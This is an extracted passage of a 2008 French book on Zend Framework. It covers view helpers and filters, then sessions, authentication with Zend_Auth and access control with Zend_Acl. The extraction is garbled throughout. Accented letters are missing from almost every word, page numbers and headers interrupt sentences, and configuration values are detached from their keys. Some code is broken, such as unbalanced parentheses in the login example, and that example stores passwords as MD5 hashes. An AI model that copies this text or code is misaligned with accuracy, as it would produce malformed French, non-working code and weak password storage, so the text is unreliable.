contextSwitch buildContext() retourne ce quoi sattend laide : un tableau qui lui fournit les paramtres suivants : les en-ttes rajouter la rponse pour ce contexte ; le suffixe de vue ajouter au suffixe par dfaut pour ce contexte. Nous avons choisi de ne pas en utiliser et de remplir le corps de la rponse directement ; la fonction de rappel utilise linitialisation du contexte ; la fonction de rappel utilise en postDispatch, juste aprs action du contexte.

Laide contextSwitch montre clairement la puissance des aides daction : elle met vraiment en facteur tout un concept de changement de la rponse, en fonction dun appel spcifique. En hrite dailleurs de laide AjaxContext, qui sactive simplement si la requte est une requte Ajax (isXmlHttpRequest()), et elle cherche une vue en rajoutant le suffixe ajax.

La vue
La vue est matrialise par une instance de Zend_View_Abstract qui, par dfaut, est un objet Zend_View. Sa manipulation est aise et nous avons dj eu loccasion den parler dans le chapitre prcdent. La vue est simple dutilisation. Il suffit de connatre un seul paramtre pour quelle fonctionne : le dossier o se situent les scripts de vues, aussi appel scriptPath. Voici ce quil faut retenir, dun point de vue technique, sur Zend_View : Zend_View est indpendant de Zend_Controller : on peut utiliser lun sans lautre, et mme si par dfaut ils sont coupls, leur dcouplage est possible et simple ; Zend_View nest pas un moteur de template, cest une solution gnrique de sparation de la logique daffichage et de la logique de contrle. ce titre, Zend_View est trs flexible et vous permettra de le driver facilement ou de lintgrer dans une solution de gestion de templates comme Smarty. La documentation officielle en montre un exemple ; les variables de vues sont affectes par cration dynamique : affecter une variable de vue va rellement crer dynamiquement un attribut public dans la classe Zend_View (ceci est une proprit du modle objet de PHP) ; Zend_View tend Zend_View_Abstract et joue avec la visibilit des attributs de classes de manire fournir un contexte objet ($this) aux scripts de vue, qui sont inclus dans linstance de Zend_View ;
Groupe Eyrolles, 2008

T Smarty

Smarty est un moteur de template trs connu dans le monde du dveloppement PHP. Il a t crit depuis longtemps par un des contributeurs au code source de PHP et a su voluer avec celui-ci. Il propose notamment une API apprcie des graphistes et intgrateurs.

142

Figure 725

Diagramme de classes simplifi du composant Zend_View

la vue utilise des aides, des filtres et des scripts. Les chemins des dossiers contenant ces fichiers sont relatifs au basePath (chemin de base) de lobjet Zend_View, qui peut ce titre possder plusieurs dossiers de base. Ils seront parcourus en ordre LIFO ; le chargement des filtres et des aides peut tre modifi grce lobjet Zend_Loader_PluginLoader qui permet de changer la correspondance prfixe de la classechemin du fichier.

Les aides de vue


Comme pour les contrleurs daction, nombre de traitements seront communs aux vues. Afin dviter de dupliquer le code de ces traitements similaires, un systme daides de vue existe. Chaque aide de vue est reprsente par une classe, qui tend Zend_View_Helper_Abstract (ceci nest pas obligatoire). Celle-ci doit se trouver dans le rpertoire views/helpers dun des dossiers de base de la vue Zend_View. Par dfaut, laide daction ViewRenderer (tudie quel-

Groupe Eyrolles, 2008

143

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

ques pages auparavant) se charge de grer le dossier de base de la vue en ajoutant le dossier du module dans lequel on se trouve. Appeler une aide de vue depuis linstance de la vue Zend_View est trs simple : sa mthode __call() permet un appel sous forme de mthode. Quelques aides de vue Les aides de vue incluses dans la distribution de Zend Framework sont trs nombreuses et une lecture de la documentation vous en apprendra beaucoup sur chacune delles. Nous en avons en revanche utilis quelques-unes dans notre application :
Aide de traduction
// en bootstrap : Zend_Registry::set('Zend_Translate', $translate); // en list.phtml <th><?php echo $this->translate("Salle"); ?></th>

Cette aide va chercher linstance de Zend_Translate dans le registre Zend_Registry, afin de permettre la traduction de chanes de caractres.
Aide dinclusion partielle
<!-- layout.phtml --> <?php echo $this->partial('common/header.phtml', array('pageTitle' => $this->pageTitle)); ?>

Cette aide permet de charger un contenu partiel (bloc), issu dun autre fichier. Lespace de nommage du bloc insr nest pas mlang lespace courant. On passe simplement les variables dans un tableau en second paramtre de la mthode. Cest trs pratique ds lors quune partie de la vue se rpte un peu partout dans le design final, ou encore pour sparer les espaces de variables (ce que nous faisons ici). Laide dinclusion partielle partial possde une sur appele partialLoop permettant de faire la mme chose dans une boucle.
Aide de pagination
// en bootstrap : Zend_Paginator::setDefaultScrollingStyle('Sliding'); Zend_View_Helper_PaginationControl::setDefaultViewPartial('common/pagination_control.phtml'); // en list.phtml : // affichage direct d'un objet Zend_Paginator <?php echo $this->reservations; ?>

144

Groupe Eyrolles, 2008

Ici, laide est utilise de manire statique pour spcifier un contenu partiel employ lorsquon affiche une instance du paginateur Zend_Paginator de manire directe.
Aide dappel dune action
// header.phtml <?php echo $this->action('index', 'login'); ?>

Laide action permet de lancer un processus de distribution clon dun trio module/contrleur/action. Nous nous en servons pour afficher notamment le formulaire didentification (login) dans len-tte du site. Ce formulaire ne doit pas tre affich si lutilisateur est identifi. Il y a donc un point de dcision. Cette dcision ne doit pas tre prise par la vue, car elle est du ressort dun contrleur. La distribution est clone, cest--dire que les objets de requte, rponse, distributeur et vue sont dupliqus depuis la requte actuelle, afin que laction demande ne vienne pas interfrer avec laction actuelle. Si celleci se termine par une redirection ou une exception, laide action retournera null. Crer son aide de vue Bien entendu, il reste possible de crer ses propres aides de vue. Sauf si vous modifiez la manire dont Zend_Loader_PluginLoader agit dans Zend_View, les aides doivent suivre une syntaxe prcise : elles doivent tre prfixes par Zend_View_Helper_ ; elle doivent possder une mthode du mme nom que leur classe, sans prfixe et sans majuscule la premire lettre ; elle peuvent hriter de Zend_View_Helper_Abstract, ceci permettra alors Zend_View de leur passer sa propre instance, utilisable dans laide. Voyons dabord un exemple, avec une aide pratique : baseUrl.
application/views/helpers/BaseUrl.php
class Zend_View_Helper_BaseUrl { public function baseUrl() { return Zend_Controller_Front::getInstance()->getBaseUrl(); } }

Trs simple, cette aide permet de rcuprer lURL de base de lapplication, ce qui est utile notamment pour crer des liens absolus, mais aussi
Groupe Eyrolles, 2008

145

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

pour spcifier lURL de base HTML partir de laquelle tous les liens relatifs seront calculs (balise <base> en en-tte). On note que laide sappelle BaseUrl, et que la mthode sappelle baseUrl(). L encore, un design pattern strategy permet une utilisation trs simple de laide :
Utilisation de laide baseUrl dans nimporte quelle vue
<?php echo $this->baseUrl() ?>

Il est aussi possible, fort heureusement, de driver une aide de vue existante. Cest ce que nous avons fait pour laide Url. Celle-ci permet de crer des URL en utilisant linversion de correspondance (reverse matching) du routeur, tout comme le fait laide daction du mme nom, rencontre quelques pages avant. Linconvnient de laide de vue Url rside dans son API quelque peu droutante : il faut passer les module/contrleur/action sous forme de tableau, et si on ne passe rien, la route nest pas remise zro par dfaut, ce qui entrane la conservation des paramtres GET de la requte. Redfinissons donc cette aide de vue afin dobtenir une API un peu plus intressante :
application/views/helpers/Link.php
class Zend_View_Helper_Link extends Zend_View_Helper_Url { public function link($controllerName = null, $actionName = null, $moduleName = null, $params = '', $name = 'default', $reset = true) { $fc = Zend_Controller_Front::getInstance(); if ($controllerName === null) { $controllerName = $fc->getRequest() ->getParam('controller'); } if ($actionName === null) { $actionName = $fc->getRequest()->getParam('action'); } if (is_array($params)) { $params = '?' . http_build_query($params); } return parent::url(array( 'controller'=> $controllerName, 'action' => $actionName, 'module' => $moduleName), $name, $reset) . $params; } }

146

Groupe Eyrolles, 2008

Enfin, voyons une dernire aide de vue personnalise, hritant de Zend_View_Helper_Abstract.


application/views/helpers/SetTitrePage.php
class Zend_View_Helper_SetTitrePage extends Zend_View_Helper_Abstract { const TITRE_PAGE_VAR = 'pageTitle'; public function setTitrePage($titre) { $this->view->{self::TITRE_PAGE_VAR} = $this->view->translate($titre); } }

Cette aide profite du fait que linstance de Zend_View se passe elle-mme laide de vue, pour lutiliser directement dans le but de traduire le message qui lui est pass, puis de le raffecter la vue sous forme dune variable : pageTitle. parce que laide de vue hrite de Zend_View_Helper_Abstract. Elle se voit dote de linstance de Zend_View sous forme dattribut public de classe $view. Ceci est possible

Les filtres de vue


Les filtres de vue ont un seul but : filtrer le flux de sortie de la vue, cest-dire le code du script de vue rendu, fusionn. Il nexiste pas de filtre de vue par dfaut dans Zend Framework. Les filtres de vue sont stocker dans le dossier views/filter. Il est bien sr possible de les placer dans nimporte quel dossier ajout au pralable avec la mthode addFilterPath(). Pour indiquer la vue quelle doit utiliser un filtre particulier, il suffit de passer le nom de sa classe la mthode addFilter(). Les filtres nont pas implmenter dinterface ou hriter dune classe abstraite, mais doivent par contre dfinir une mthode filter() pour fonctionner. Celle-ci reoit en paramtre le flux de sortie provenant du tampon (buffer) PHP et le transforme sa guise. Attention, les filtres sont appliqus par ordre FIFO. Voici un exemple comportant un filtre dchappement du flux de sortie afin de se prmunir dattaques XSS :

RENVOI XSS et scurit


Le chapitre 11 sur la scurit vous en apprendra plus sur le terme XSS, sil ne vous est pas familier.

Groupe Eyrolles, 2008

147

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

application/views/filters/EscapeFilter.php
class Zend_View_Filter_EscapeFilter { private $_view; public function filter($data) { return $this->_view->escape($data); } public function setView(Zend_View_Interface $view) { $this->_view = $view; } }

Utiliser le filtre pralablement cr


// depuis un contrleur daction : $this->_view->addFilter('EscapeFilter'); // pour tout contrleur, avant le dispatching : $vr = Zend_Controller_Action_HelperBroker::getStaticHelper('ViewRenderer'); $vr->init(); $vr->view->addFilter('EscapeFilter');

La mthode setView(), si elle existe, est appele par Zend_View lors du chargement du filtre. Zend_View passe alors sa propre instance au filtre, ce qui permet den extraire les aides, comme laide escape.

En rsum
Nous venons de dcortiquer une bonne partie du modle MVC de Zend Framework. Voici les principaux points retenir : Chaque objet possde des responsabilits limites, clairement identifies et uniques. Ainsi, dans une application, il faut tout prix viter de dupliquer du code. Dans la mesure du possible, le code doit tre testable. Lorsque lon souhaite quelque chose, la question principale est de savoir quel objet sadresser, lui-mme pouvant sadresser dautres pour obtenir linformation. Les diagrammes de squence UML sont trs pratiques pour mettre en avant les messages changs entre objets. La flexibilit offerte par le modle MVC se paye au prix dune certaine complexit, cependant gage de maintenabilit.

148

Groupe Eyrolles, 2008

Le modle MVC nest pas propre PHP et encore moins Zend Framework, qui ninvente rien en la matire. Consultez lannexe E pour en savoir plus sur les aspects thoriques. Pour tre encore plus laise avec MVC et avec PHP, nous vous conseillons vivement dutiliser dautres langages et dautres frameworks MVC (dont Zend Framework tire certaines caractristiques). Citons trs rapidement Rails avec Ruby, ou Struts avec Java. Le modle MVC permet dorganiser son code en finesse, ce qui est ncessaire en entreprise, o de grosses quipes travaillent sur des projets denvergure. Ainsi, il nest pas toujours utile dutiliser un modle MVC pour des applications trs petites, ou ne ncessitant pas une maintenance trs pousse.

Groupe Eyrolles, 2008

149

7 Architecture MVC avance

chapitre

Groupe Eyrolles, 2008

Sessions, authentification et autorisations

SOMMAIRE

B Utilisation avance

Toute application dynamique qui ncessite la reconnaissance dutilisateurs utilise de prs ou de loin les sessions pour la persistance des donnes, lauthentification pour permettre un visiteur de se faire connatre, et, enfin, les autorisations qui dterminent les ressources auxquelles chaque visiteur doit avoir accs. Autant de notions qui exigent rigueur et organisation.

des sessions

B Gestion de lauthentification B Gestion des autorisations


COMPOSANTS

B Zend_Session B Zend_Auth B Zend_Acl


MOTS-CLS

B session B acl B authentification B autorisation B scurit B persistance

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Zend Framework propose trois composants spcialiss : Zend_Session, Zend_Auth et Zend_Acl. Trois outils que lon peut choisir dutiliser ou pas, en fonction des exigences. Ce chapitre vous prsente une utilisation pratique de chacun deux dans un cas dutilisation rel.

Notions lmentaires
Avant de commencer ce chapitre, il convient de dfinir lauthentification, lautorisation, les listes de contrle dutilisateurs (ACL), ainsi que les sessions. Lauthentification (aussi appele identification) est laction de demander une personne ou un systme de prouver son identit. Sur le Web, aujourdhui, le mot de passe est le moyen le plus utilis pour remplir cette fonction. Lautorisation est laction de contrler si un rle (souvent une personne identifie) a le droit daccder ou non une ressource. Les listes de contrle d'accs (ACL, pour Acces Control List) sont des jeux dautorisations, liant des utilisateurs des rles et des rles des ressources. Les sessions sont un mcanisme de persistance HTTP utilisant majoritairement un identifiant unique (sessid) dans un cookie. Leur but est de faire en sorte que le serveur HTTP puisse diffrencier tous ses clients. La figure 8-1 illustre le cycle de vie dune visite utilisateur avec ouverture de session. On y retrouve les termes dauthentification, autorisation et session.

Figure 81

Cycle dune session utilisateur et notions associes

152

Groupe Eyrolles, 2008

Remarquons quil sagit l de concepts indpendants, mais nanmoins complmentaires, et il conviendra de ne pas les confondre. Ainsi, souvent, un mcanisme dauthentification est li un mcanisme de contrle de droits. Aussi, afin de conserver lidentit dune personne identifie mais aussi ses droits entre chaque requte HTTP, il sera souvent intressant de faire appel aux sessions.

Les sessions
HTTP est un protocole sans tat, cest--dire quil na pas t prvu pour maintenir une connexion unique entre deux requtes utilisateur. Plus simplement, lorsquun serveur HTTP reoit une requte, il est incapable de savoir si celle-ci a un rapport avec une requte prcdente, mme si elle provient du mme client. Autrement dit, HTTP ne prvoit pas de mcanisme de persistance pour lidentification des clients. Heureusement, les temps changent et le protocole HTTP sest vu en 10 ans ajouter nombre de nouvelles fonctionnalits on parle dextensions. Et vu la vitesse laquelle le Web volue, des extensions du protocole sont encore prvoir lavenir. Un grand pas en avant a t accompli depuis la cration des cookies : si le serveur arrive placer dans un cookie (petit fichier stock sur le client et gr par le navigateur) un identifiant unique, il na alors plus qu attendre que chaque client (navigateur) le lui renvoie chaque requte : le serveur est devenu capable didentifier ses clients et de les suivre la trace.

T Cookie

En 1997, Netscape a invent le mcanisme des cookies pour pallier le problme de persistance. Un cookie est un ensemble de donnes quun client envoie chaque requte vers le mme serveur. Il existe en ralit des subtilits, mais elles ne seront pas abordes ici en profondeur.

Pourquoi choisir Zend_Session ?


PHP propose un systme de gestion de sessions depuis sa version 4, majoritairement bas sur le tableau $_SESSION. Celui-ci a t repris par Zend Framework afin de le simplifier et de lui ajouter des fonctionnalits intressantes. En effet, la gymnastique ncessaire autour des sessions PHP est souvent pnible, et ds lors quil faut les rgler finement, le travail salourdit encore. est le composant de Zend Framework prvu pour piloter les sessions PHP. Pour ceci, deux classes nous sont proposes : Zend_Session est la classe gnrale qui servira configurer le mcanisme interne des sessions PHP ; on ne lutilise que de manire statique ; Zend_Session_Namespace est une classe destine piloter le tableau PHP classique $_SESSION. Il lui ajoute des fonctionnalits intressantes et facilite son accs.
Zend_Session

PRREQUIS Connatre les sessions PHP


Comme Zend_Session repose sur le mcanisme des sessions PHP, il convient de matriser ce mcanisme pour comprendre le fonctionnement des sessions, et de Zend_Session.

ATTENTION Oprations manuelles


Si vous utilisez Zend_Session, vous ne devez en aucun cas vous servir du tableau $_SESSION manuellement. Aussi, vous ne devez pas utiliser nimporte quelle fonction PHP concernant les sessions, au risque de troubler Zend_Session. La documentation de Zend Framework vous met clairement en garde ce sujet.

Groupe Eyrolles, 2008

153

8 Sessions, authentification et autorisations

Zend Framework - Bien dvelopper en PHP

Configurer sa session
Tout projet utilisant les sessions cest le cas du ntre doit au pralable songer leur configuration. Heureusement, ltape de configuration est trs simple car un objet Zend_Config vient fournir ses services.
Fichier de bootstrap index.php
<?php define('APP_MODE', 'dev'); $configSession = new Zend_Config_Ini('session.ini', APP_MODE); Zend_Session::setOptions($configSession->toArray());

Fichier session.ini
[dev] use_cookies use_only_cookies use_trans_sid strict remember_me_seconds name gc_divisor gc_maxlifetime gc_probability [prod : dev] remember_me_seconds gc_divisor gc_maxlifetime gc_probability = = = = 0 1000 600 1 = = = = = = = = = on on off off 0 zfbook_session 1000 86400 1

Nous profitons de lhritage des sections de Zend_Config_Ini pour charger la configuration concernant le mode dans lequel tourne notre application, savoir dveloppement (dev) ou production (prod). La plupart de ces options font partie du fichier php.ini et nous supposons que vous tes laise avec le mcanisme des sessions de PHP. Dtaillons en tout de mme quelques-unes : remember_me_seconds configure le cookie de session. Mis zro, il sagit dun cookie qui sera supprim la fermeture du navigateur client, et la session sera alors invalide ; strict paramtr off cette option indique que la cration dun objet Zend_Session_Namespace entranera le dmarrage de la session si celle-ci na pas t dj dmarre ; les options trans-sid et cookie indiquent PHP quil faut utiliser uniquement les cookies pour faire tansiter lidentifiant de session travers chaque requte HTTP (fortement recommand pour des raisons de scurit) ;
Groupe Eyrolles, 2008

RENVOI Mthodes de configuration


La plupart de ces paramtres peuvent tre rgls quand bon vous semble, via des mthodes explicites de la classe Zend_Session. Rfrez-vous au manuel pour plus de dtails les concernant.

154

les options gc rglent le garbage collector, ou ramasse-miettes. Pour notre exemple, en dveloppement, le ramasse-miettes passe plus souvent quen production, car les requtes y sont moins frquentes.

Utiliser les espaces de noms


Maintenant que notre session est configure, nous allons pouvoir lutiliser. Zend_Session_Namespace permet de crer un espace de noms (namespace) dans le tableau originel $_SESSION. Au lieu de manipuler celui-ci, vous manipulez des objets. Utiliser un objet Zend_Session_Namespace offre de multiples avantages : il permet dviter les collisions de variables, chaque espace de noms tant un conteneur part entire ; il fournit le moyen de rgler lexpiration de chaque espace de noms indpendamment ; il permet de rgler lexpiration dune donne particulire dans un espace de noms, sans toucher au reste de la session ; il lance automatiquement la session PHP, si celle-ci le ncessite ( condition que loption strict dans la configuration de Zend_Session ne possde pas la valeur on) ; il offre des possibilits de verrouillage dun espace de noms particulier, afin den empcher la modification. Nous avions cr un couple plugin/aide daction dans les chapitres 6 et 7 sur MVC, permettant de grer la page de retour dune action. Cette combinaison utilise un espace de noms. Revoyons-la du point de vue des sessions :
Cration de lespace de noms dans lindex
$sessionMVC = new Zend_Session_Namespace('MVC'); Zend_Registry::set('MVC_RedirectorToOrigin', $sessionMVC);

La cration de cet espace de noms de sessions, effectue assez tt dans le fichier damorage (bootstrap), va entraner le dmarrage implicite de la session. Ceci aurait pu tre empch avec loption strict positionne sur on, mais a nest pas leffet recherch, au contraire : plus tt la session dmarre, mieux cest. En effet, si des en-ttes HTTP taient envoys avant, alors lerreur trs connue Header already sent se produirait. Notez quil est aussi possible de dmarrer la session avec la mthode start() de la classe Zend_Session. Lobjet est ensuite partag en registres, de manire ce que le couple plugin/aide daction puisse lutiliser. Revoyons le plugin :

Groupe Eyrolles, 2008

155

8 Sessions, authentification et autorisations

Zend Framework - Bien dvelopper en PHP

Le plugin Zfbook_Controller_Plugins_Session
class Zfbook_Controller_Plugins_Session extends Zend_Controller_Plugin_Abstract { public function dispatchLoopShutdown() { $session = Zend_Registry::get('MVC_RedirectorToOrigin'); $requestUri = $this->getRequest()->getRequestUri(); $session->requestUri = $requestUri; } }

INFO Espaces de noms Zend


Quelques composants de Zend Framework utilisent les espaces de noms pour leur fonctionnement. Il est important de dmarrer la session trs tt dans lapplication de manire ce que ces composants puissent les utiliser sereinement. Citons parmi eux laide daction flashMessenger, ou encore Zend_Auth.

Les espaces de noms de session sutilisent comme des objets. On stocke ce que lon souhaite dedans en sachant que ce sera totalement isol des ventuels autres espaces de noms prsents dans Zend_Session ce moment-l. Dans notre cas, stockons lURL actuelle dans le but de pouvoir plus tard rediriger lutilisateur vers la page prcdente. Une attention particulire doit tre donne au stockage dobjets en session. En effet, souvenez-vous bien (ainsi fonctionne PHP...) quils vont tre srialiss leur insertion en session. Plus important : ils seront dsrialiss ds louverture de la session dans la requte suivante. Noubliez donc pas dinclure toutes les classes ncessaires avant le dmarrage de la session. Nous assurons ceci pour notre part grce lautoload, qui se charge de tout.

Gestion de lauthentification avec Zend_Auth

Figure 82

Diagramme de classes simplifi du composant Zend_Auth

156

Groupe Eyrolles, 2008

Pourquoi utiliser Zend_Auth ?


Le diagramme de classe de la figure 8-2 montre en quoi Zend_Auth savre utile. Comme pour Zend_Db (voir chapitre 5), Zend_Auth propose des adaptateurs, et donc une interface commune de pilotage du processus dauthentification, quelle que soit la source utilise pour effectuer celle-ci.
Zend_Auth

se dcompose en plusieurs classes. Voici leur rle : Zend_Auth propose de piloter lauthentification et sa persistance (gnralement en session) ; Zend_Auth_Storage dsigne les composants qui stockent la persistance de lidentit. Par dfaut, un espace de noms de session est utilis ; Zend_Auth_Adapter dsigne les adaptateurs reprsentant le support vis--vis duquel les identifiants fournis par le client vont tre compars en vue de lidentifier ; Zend_Auth_Result reprsente le rsultat dun processus dauthentification. La classe permet de grer plusieurs cas : succs, chec, chec avec conditions, etc.

Les adaptateurs
Lauthentification est laction qui permet un client HTTP (un visiteur de lapplication) de prouver son identit. Pour ce faire, celui-ci devra envoyer des informations, trs souvent un couple login/mot de passe, qui vont alors tre compares avec un support sur le serveur, en fonction de ladaptateur choisi. Infocard : adaptateur pour le logiciel de gestion didentits InfoCard de Microsoft ; LDAP : cet adaptateur permet la comparaison des identifiants du client avec un annuaire LDAP ; OpenID : il fournit les moyens dauthentifier un client via le processus dauthentification centralis OpenID, qui met en relation le client avec un autre serveur que la machine hte ; DbTable : lauthentification au travers dune table de base de donnes est possible grce cet adaptateur. Nous en verrons un exemple ; HTTP : cet adaptateur gre lauthentification via le protocole HTTP et la mthode Basic. Deux objets de requte et rponse sont ncessaires, issus des mmes classes que celles utilises par le modle MVC de Zend Framework. Aussi, un fichier est utilis pour stocker les identifiants des clients. Cette mthode nest pas conseille en raison de sa faible scurit. En effet, les identifiants de lutilisateur circulent en clair sur le rseau chaque requte HTTP ;
Groupe Eyrolles, 2008

EN SAVOIR PLUS RFC 2617


La RFC 2617 dfinit les mcanismes dauthentification pris en charge par HTTP. Leur connaissance apporte un avantage indniable quant la comprhension du fonctionnement et du comportement des adaptateurs concerns (HTTP et Digest).

157

8 Sessions, authentification et autorisations

Zend Framework - Bien dvelopper en PHP

Digest : autre mthode dauthentification HTTP, mais scurise, cette fois. Un algorithme tel que md5 est utilis pour crypter le mot de passe lors des changes HTTP. De plus, Digest permet de spcifier un temps de validit de lauthentification.

Exemple dutilisation
Chaque adaptateur se configure diffremment, mais tous implmentent linterface ncessaire leur intgration. Celle-ci dfinit une mthode, authenticate(), utilise pour authentifier le client, une fois ladaptateur correctement configur. Notre application ncessite lidentification de ses utilisateurs et nous avons choisi dutiliser ladaptateur DbTable. On fera donc appel une authentification avec la base de donnes, ainsi qu la persistance de lidentit du client en session. Nous allons reprendre la partie de LoginController qui gre lauthentification.
LoginController.php
<?php // partie authentification pure pour lexemple $auth = Zend_Auth::getInstance(); $db = Zend_Db_Table_Abstract::getDefaultAdapter(); $dbAdapter = new Zend_Auth_Adapter_DbTable($db, 'user', 'email', 'password', 'MD5(?)'); $dbAdapter->setCredential($password)) ->setIdentity($login)); $result = $auth->authenticate($dbAdapter); if ($result->isValid()) { // criture de lobjet complet en session, sauf le champ password $data = $dbAdapter->getResultRowObject(null, 'password'); $auth->getStorage()->write($data); }

Ladaptateur ncessite un objet Zend_Db_Adapter_Abstract afin de pouvoir piloter le SGBD notre place. Heureusement, Zend_Db_Table_Abstract fait office de registre pour cet objet, configur bien plus tt dans le bootstrap. Il faut ensuite fournir les identifiants du client, savoir le login et le mot de passe, qui sont rcuprs et valids plus tt dans la requte. Notez quun paramtre spcial permet de spcifier le traitement ventuel effectuer sur le champ mot de passe. Ici il faudra utiliser md5. Aussi, ladaptateur se charge dchapper et de filtrer pour nous les donnes quon lui transmet. Cette opration gnrique nempche pas nanmoins un filtrage plus fin effectu par le dveloppeur.

158

Groupe Eyrolles, 2008

partir de ce moment-l, nous allons procder lauthentification. Quel que soit ladaptateur utilis, seul lappel la mthode authenticate() lance le processus de validation de lidentit en tant que tel. Nous avons alors le choix : si nous appelons authenticate() sur lobjet adaptateur, alors la persistance de lidentit ne sera pas assure ; si nous appelons authenticate() sur Zend_Auth, en lui passant en paramtre notre adaptateur, alors la persistance de lidentit sera assure dans le support par dfaut de Zend_Auth, un espace de noms (namespace) de session nomm Zend_Auth. Quel que soit le choix effectu, un objet Zend_Auth_Result est retourn. Nous choisissons la persistance. Ds lors, en supposant lauthentification valide, tout appel la mthode hasIdentity() de Zend_Auth retournera true et tout appel la mthode getIdentity() de Zend_Auth retournera linformation didentit enregistre. Bien entendu, ceci est valable tant que le support de stockage nest pas invalid (expiration de la session par exemple). Par dfaut, les informations concernant lidentit de lutilisateur courant sont renvoyes. Ceci est en particulier valable pour ladaptateur DbTable, les autres adaptateurs peuvent stocker par dfaut dautres renseignements. Il est possible de modifier cette information, ce que nous ferons par la suite. La mthode getStorage() de Zend_Auth retourne son support de stockage de lidendit, savoir par dfaut un objet Zend_Auth_Storage_Session (contenant lespace de nom dclar dans la session). Notons que ce support est modifiable et personnalisable grce linterface Zend_Auth_Storage_Interface. Une fois le support en notre possession, nous lui demandons de stocker un objet contenant lenregistrement de la base de donnes correspondant aux identifiants du client. La mthode getResultRowObject() de ladaptateur DbTable retourne un objet stdClass reprsentant toute la ligne de la table. Cependant, son premier paramtre permet dindiquer les champs inclure : nous spcifions null, ce qui correspond tous. Le second paramtre, lui, fait linverse : il permet de spcifier les champs ne pas inclure dans lobjet rsultat. Pour plus de scurit, nous choisissons dans notre exemple de ne pas inclure le champ mot de passe de lutilisateur. La dconnexion peut seffectuer de deux manires : en appelant la mthode clearIdentity() sur linstance de Zend_Auth. Ceci a pour effet de dtruire lespace de noms de session concernant Zend_Auth. La mthode hasIdentity() retourne alors false : lutilisateur est dconnect ; en dtruisant la session.
T stdClass

La classe stdClass de PHP est une classe vierge. Elle est utilise pour dclarer des objets dont on ne connat pas la structure lavance.

Groupe Eyrolles, 2008

159

8 Sessions, authentification et autorisations

Zend Framework - Bien dvelopper en PHP

Choisissons la destruction totale de la session, car nous y stockons les ACL (voir en dernire section de ce chapitre) quil faut aussi dtruire.

RAPPEL Identification et autorisation


La gestion des autorisations (ACL) est un concept diffrent de lidentification des utilisateurs (Auth). Ainsi, Zend_Auth et Zend_Acl sont des composants indpendants, bien que souvent utiliss ensemble.

Zend_Acl : liste de contrle daccs


Ds lors que lapplication ncessite de diffrencier les droits de ses utilisateurs, il faut un moyen de les grer. Lutilisateur a-t-il le droit de modifier des rservations ? Le visiteur est-il autoris lister les salles disponibles ? La gestion de telles questions peut tre dlgue au composant Zend_Acl.

Pourquoi utiliser Zend_Acl ?


Zend_Acl

reprsente une solution gnrique de gestion des droits daccs. Gnrique signifie quelle propose une base adapte toute utilisation, mais si elle ne lest pas suffisamment votre got, vous pouvez facilement ltendre pour la complter. Cest lun des principes fondateurs de Zend Framework.

Comme la gestion des autorisations peut devenir trs complexe, le socle fournit de bonnes bases pour sattaquer ce problme. Notre application introduit un problme simple dautorisations et Zend_Acl le rsoud tout aussi simplement.
Zend_Acl

Un peu de thorie sur les ACL


Il convient de dfinir trois notions importantes : les rles reprsentent les entits dont on veut contrler un accs, pour une ressource ;

Figure 83

Exemple de rgles dACL

160

Groupe Eyrolles, 2008

les ressources dfinissent les entits pour lesquelles on veut contrler un accs par un rle ; les accs sont les types de demandes que lon veut formuler pour lier un rle une ressource. Simplement, la question rservation ? identifie : le rle utilisateur ; la ressource rservation ; laccs modifier. lutilisateur peut-t-il modifier une

Du ct des objets, nous avons notre disposition : Zend_Acl, qui est lobjet de registre des ACL. Cest lui qui sait qui a le droit de faire quoi. Il enregistre donc des rles, des ressources et des droits ; Zend_Acl_Role permet de dfinir les rles. Les rles peuvent hriter entre eux ; Zend_Acl_Ressource identifie les ressources. Les ressources peuvent hriter les unes des autres.

Figure 84

Diagramme de classes simplifi du composant Zend_Acl

Exemple pratique
Notre application dfinit les rles visiteur, utilisateur et administrateur. Nous contrlons pour ces rles laccs ldition, la suppression et lajout concernant chacune des rservations. Nous avons donc autant de ressources que de rservations. Les rgles sont simples : ne peuvent diter une rservation que les utilisateurs qui en sont crateurs ; ne peuvent supprimer une rservation que les administrateurs ; chaque utilisateur ne pourra ajouter plus de X rservations, X tant le mme pour tous les utilisateurs, dfini lors de la configuration ; les administrateurs ont tous les droits et aucune limite.

Groupe Eyrolles, 2008

161

8 Sessions, authentification et autorisations

Zend Framework - Bien dvelopper en PHP

Lillustration 8-3 rsume en gros les listes de contrle daccs telles que nous les souhaitons. Lavantage de cette liste est de pouvoir voluer avec beaucoup de souplesse au cas o le cahier des charges voluerait. Voyons la partie du code de notre fichier damorage (bootstrap) concernant les ACL :
NOTE Zend_Acl et session
Comme avec Zend_Auth, Zend_Acl nutilise pas Zend_Session, mais il est convenable et logique de crer les rles et les ressources une fois, puis de les faire persister en session, do la liaison entre les ACL et la session.

Bootstrap : html/index.php
if (!isset($session->acl)) { $acl = new Zend_Acl(); $acl->addRole(new Zend_Acl_Role('user')); $acl->add(new Zend_Acl_Resource('reservations')); $session->acl = $acl; }

IMPORTANT Droit deny par dfaut


Si nous naffectons aucune rgle de droit, alors tous les rles se voient par dfaut refuser (deny) tout accs toute ressource.

Les droits sont stocks en session et reprsents par la classe Zend_Acl. Nous crons donc le rle user et la ressource reservations. Le visiteur sera reconnu par le fait quil ne sest pas identifi. Nous utiliserons Zend_Auth pour vrifier cela et nous navons pas besoin de rle spcial pour lui. Ainsi, le user est un client qui sest identifi. Le rle admin nexistera pas, car nous verrons quun administrateur est en fait un utilisateur (user) qui on a affect tous les droits. Au dmarrage de lapplication, les ACL contiennent donc un rle user et une ressource reservations. Aucun droit nest encore dfini et ainsi tout est interdit. Ce nest que lors de lidentification dun visiteur que nous allons lui affecter les droits relatifs sa personne et, si nous dtectons quil est administrateur, nous lui affecterons tous les droits.
CONSEIL Choix des ressources et des rles
Dans le but de simplifier lutilisation du composant, nous avons choisi une ressource et un rle trs larges. Il est vident que dans le cadre dun dveloppement qui ncessite des droits daccs souples et extensibles, nous allons faire notre choix de manire plus judicieuse. Voici quelques exemples : Rles : anonyme, invit, abonn, VIP, administrateur, etc. Ressources : vous pouvez dfinir une liste de ressources arbitraires ou mieux, vous baser sur lexistant : liste des actions (au sens MVC), liste des classes de votre infrastructure, etc.

Figure 85 Diagramme de classes des mthodes publiques de Zend_Acl

La figure 8-5 reprsente les mthodes publiques dun objet Zend_Acl.

162

Groupe Eyrolles, 2008

LoginController
